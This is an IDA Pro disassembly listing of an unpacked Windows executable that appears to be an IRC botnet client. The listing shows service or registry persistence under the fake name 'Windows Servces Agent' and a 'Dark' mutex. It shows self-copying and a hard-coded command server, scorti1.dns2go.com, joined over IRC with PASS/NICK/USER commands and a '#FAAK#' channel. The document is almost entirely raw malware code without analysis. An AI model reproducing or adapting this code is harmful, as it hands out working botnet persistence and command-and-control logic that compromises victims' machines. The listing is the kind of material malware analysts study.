;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 515FBC86B3F8A3F63BFC15EE9B61721C
; File Name : u:\work\515fbc86b3f8a3f63bfc15ee9b61721c_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DD000 ( 905216.)
; Section size in file : 000DD000 ( 905216.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
___ segment para public 'DATA' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00401579p
; sub_418359+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindowsServces ; "Windows Servces Agent"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CAF28
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41AFE0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CAF98
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CAED8
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CAF50
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427238[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:00416643p
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41B4D5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41B4C2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41B202
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41B11A
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41B0B1
push edi
call sub_41B05B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: ___:00401235o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43DEBC
call dword_4CB00C
call sub_40B2BF
call dword_4CAECC
call dword_4CAECC
mov ebx, dword_427078
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_43D128
mov [ebp+var_28], 1
mov [ebp+var_24], di
call near ptr 2660AB7h
nop
lea eax, [ebp+var_158]
push esi
push eax
push edi
nop
call near ptr 2660000h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 2650CA5h
nop
test eax, eax
jz short loc_4011E2
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_427068
call esi
push [ebp+var_C]
call esi
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43D120
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: ___:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418684
pop ecx
mov dword_4CACB0, eax
pop ecx
retn
sub_40111D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40111D
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270A8
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CACB4, eax
call esi
push eax
call sub_41B8D8
pop ecx
call sub_409B12
push 2
call dword_4CB020
push 7530h
push offset aDark ; "Dark"
push ebx
push ebx
nop
call near ptr 2680239h
push eax
nop
call near ptr 268016Ch
cmp eax, 102h
jnz short loc_4012A1
push 1
call near ptr 77E75CB5h
nop
loc_4012A1: ; CODE XREF: ___:00401297j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4CAEE4
cmp eax, ebx
jnz loc_4017E4
cmp byte ptr [ebp-884h], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
nop
call near ptr 2660AB7h
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
nop
call near ptr 2680000h
push eax
call near ptr 2660000h
nop
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_41B9D1
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset dword_4293C4
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41B980
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_41B900
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_429108
jz short loc_40139C
push esi
xor edi, edi
call sub_41AFE0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: ___:0040139Aj
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429108[edi], dl
inc edi
call sub_41AFE0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: ___:00401369j
; ___:00401377j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_4293BC
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 2670DABh
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp-1E8h]
push 80h
push eax
call near ptr 2670C81h
nop
loc_4013DC: ; CODE XREF: ___:004013C8j
mov esi, dword_427090
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: ___:0040142Aj
call esi
test eax, eax
jnz short loc_40142C
nop
call near ptr 2670897h
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: ___:00401406j
push 1
pop edi
push 3A98h
nop
call near ptr 2660F2Dh
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: ___:004013F7j
; ___:00401401j ...
lea eax, [ebp-1E8h]
push eax
call sub_418293
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
nop
call near ptr 2670C81h
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_41B590
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_41B590
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset dword_43D128
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
nop
call near ptr 2670864h
push eax
push esi
push 100000h
nop
call near ptr 267032Dh
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_4293B0
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 2650CA5h
test eax, eax
jz short loc_401516
push 0C8h
nop
call near ptr 2660F2Dh
push dword ptr [ebp-20h]
mov esi, dword_427068
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4CAECC
push ebx
call near ptr 77E75CB5h
nop
loc_401516: ; CODE XREF: ___:00401358j
; ___:004014ECj
cmp dword_4DB294, 2
jle short loc_401562
mov eax, dword_4DB298
push dword ptr [eax+4]
call sub_41B779
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call near ptr 268016Ch
nop
push esi
nop
call near ptr 26509C6h
mov eax, dword_4DB298
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
call near ptr 2660F2Dh
nop
mov eax, dword_4DB298
push dword ptr [eax+8]
call near ptr 2670237h
nop
loc_401562: ; CODE XREF: ___:0040151Dj
; ___:00401547j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CB044, ebx
jnz short loc_40157F
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: ___:00401568j
; ___:00401570j
lea eax, [ebp-0A0h]
push offset dword_429394
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40B0F6
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
push 0B80h
push ebx
push offset dword_43D130
call sub_41B590
add esp, 24h
lea eax, [ebp-0A0h]
push offset unk_429370
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
mov edi, dword_42707C
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset dword_419A00
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43DEC4[esi], eax
jnz short loc_401622
nop
call near ptr 2670897h
push eax
lea eax, [ebp-0A0h]
push offset unk_429330
push eax
call sub_41B886
add esp, 0Ch
loc_401622: ; CODE XREF: ___:00401605j
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
push 2
call sub_40B33E
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp-0A0h]
push offset dword_429304
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_4101FC
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43DEC4[esi], eax
jnz short loc_40169A
nop
call near ptr 2670897h
push eax
lea eax, [ebp-0A0h]
push offset dword_4292D0
push eax
call sub_41B886
add esp, 0Ch
loc_40169A: ; CODE XREF: ___:0040167Dj
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
pop ecx
loc_4016A7: ; CODE XREF: ___:00401639j
call sub_41B8E2
push 7Fh
and eax, 3
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CACBC
mov dword_4CAE28, eax
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CAD3C
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CAE0C, eax
call sub_41B5F0
push 3Fh
mov esi, offset dword_4CAD7C
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword_4CAE10, ebx
loc_4016FC: ; CODE XREF: ___:00401784j
; ___:0040178Fj ...
mov [ebp-4], ebx
loc_4016FF: ; CODE XREF: ___:00401738j
push offset dword_4CACB8
mov dword_4CAE24, ebx
call sub_4017ED
cmp eax, 2
mov [ebp-10h], eax
jz loc_4017D9
cmp dword_4CAE24, ebx
jz short loc_401726
dec dword ptr [ebp-4]
loc_401726: ; CODE XREF: ___:00401721j
push 0BB8h
call near ptr 2660F2Dh
nop
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_4016FF
cmp dword ptr [ebp-10h], 2
jz loc_4017D9
cmp [ebp-0Ch], ebx
jz short loc_401789
push 7Fh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CACBC
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CAE0C, eax
call sub_41B5F0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: ___:00401747j
cmp byte_4290E4, bl
jz loc_4016FC
push 7Fh
push offset byte_4290E4
push offset dword_4CACBC
call sub_41B5F0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CAE0C, eax
call sub_41B5F0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: ___:00401715j
; ___:0040173Ej
call sub_40B2BF
loc_4017DE: ; CODE XREF: ___:004012C2j
; ___:004012D2j
call dword_4CAECC
loc_4017E4: ; CODE XREF: ___:004012B5j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: ___:0040170Ap
; DATA XREF: sub_401ACD+662Ao
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CAF74
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40AAF9
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40B08D
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43DEC8
push edi
push eax
call sub_41B5F0
add esp, 28h
push 6
push 1
push 2
call dword_4CAFF4
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43DEBC[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CB00C
call sub_40AB22
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
nop
call near ptr 2660F2Dh
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_4293CC
call sub_415220
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CB00C
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B412
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41BB20
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CAE20, bl
jz short loc_40199A
push offset byte_4CAE20
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409A2C
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40B08D
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CB00C
push 1388h
nop
call near ptr 2660F2Dh
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CAF8C
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_417F7F
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
nop
call near ptr 2660F2Dh
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_5D88 = byte ptr -5D88h
var_5988 = byte ptr -5988h
var_5588 = byte ptr -5588h
var_53F8 = byte ptr -53F8h
var_51F8 = byte ptr -51F8h
var_50F4 = byte ptr -50F4h
var_4FF4 = byte ptr -4FF4h
var_4EF0 = byte ptr -4EF0h
var_4DF0 = byte ptr -4DF0h
var_4CF0 = byte ptr -4CF0h
var_4BF0 = byte ptr -4BF0h
var_4AF0 = byte ptr -4AF0h
var_48F0 = byte ptr -48F0h
var_47EC = byte ptr -47ECh
var_46EC = byte ptr -46ECh
var_45EC = byte ptr -45ECh
var_4588 = byte ptr -4588h
var_4488 = byte ptr -4488h
var_4288 = byte ptr -4288h
var_4188 = byte ptr -4188h
var_4088 = byte ptr -4088h
var_3F88 = dword ptr -3F88h
var_3F84 = byte ptr -3F84h
var_3F04 = byte ptr -3F04h
var_3E00 = byte ptr -3E00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = dword ptr -3CE8h
var_3CE4 = byte ptr -3CE4h
var_3C64 = byte ptr -3C64h
var_3BE4 = byte ptr -3BE4h
var_3B64 = byte ptr -3B64h
var_3AE4 = byte ptr -3AE4h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = dword ptr -3A58h
var_3A54 = byte ptr -3A54h
var_37CD = byte ptr -37CDh
var_37CC = byte ptr -37CCh
var_36C8 = dword ptr -36C8h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B4 = dword ptr -36B4h
var_36AC = dword ptr -36ACh
var_36A8 = dword ptr -36A8h
var_36A4 = byte ptr -36A4h
var_3624 = byte ptr -3624h
var_35A4 = byte ptr -35A4h
var_3524 = byte ptr -3524h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = dword ptr -3494h
var_3490 = byte ptr -3490h
var_3410 = byte ptr -3410h
var_3390 = byte ptr -3390h
var_3310 = byte ptr -3310h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = dword ptr -3280h
var_327C = byte ptr -327Ch
var_31FC = byte ptr -31FCh
var_317C = byte ptr -317Ch
var_30FC = byte ptr -30FCh
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = dword ptr -306Ch
var_3068 = byte ptr -3068h
var_2FE8 = byte ptr -2FE8h
var_2F68 = byte ptr -2F68h
var_2EE8 = byte ptr -2EE8h
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = dword ptr -2E5Ch
var_2E58 = byte ptr -2E58h
var_2D54 = dword ptr -2D54h
var_2D50 = byte ptr -2D50h
var_2C4C = byte ptr -2C4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = dword ptr -2B40h
var_2B3C = byte ptr -2B3Ch
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AB0 = dword ptr -2AB0h
var_2AA8 = byte ptr -2AA8h
var_2990 = byte ptr -2990h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = dword ptr -28FCh
var_28F8 = byte ptr -28F8h
var_2878 = byte ptr -2878h
var_2778 = byte ptr -2778h
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = dword ptr -2654h
var_2650 = byte ptr -2650h
var_25D0 = byte ptr -25D0h
var_24D0 = byte ptr -24D0h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = dword ptr -23ACh
var_23A8 = byte ptr -23A8h
var_2328 = byte ptr -2328h
var_22A8 = byte ptr -22A8h
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = dword ptr -2218h
var_2214 = byte ptr -2214h
var_2194 = byte ptr -2194h
var_2114 = byte ptr -2114h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = dword ptr -2084h
var_2080 = byte ptr -2080h
var_2000 = byte ptr -2000h
var_1F80 = byte ptr -1F80h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = dword ptr -1EF0h
var_1EEC = byte ptr -1EECh
var_1DEC = byte ptr -1DECh
var_1D6C = dword ptr -1D6Ch
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D50 = dword ptr -1D50h
var_1D48 = byte ptr -1D48h
var_1D34 = byte ptr -1D34h
var_1C30 = byte ptr -1C30h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B9C = dword ptr -1B9Ch
var_1B94 = byte ptr -1B94h
var_1B80 = byte ptr -1B80h
var_1A7C = byte ptr -1A7Ch
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = dword ptr -19E8h
var_19E4 = byte ptr -19E4h
var_1964 = byte ptr -1964h
var_1924 = byte ptr -1924h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = dword ptr -180Ch
var_1808 = byte ptr -1808h
var_17D0 = byte ptr -17D0h
var_17B4 = byte ptr -17B4h
var_177C = byte ptr -177Ch
var_1778 = byte ptr -1778h
var_16F8 = byte ptr -16F8h
var_16B8 = byte ptr -16B8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = byte ptr -1614h
var_1594 = byte ptr -1594h
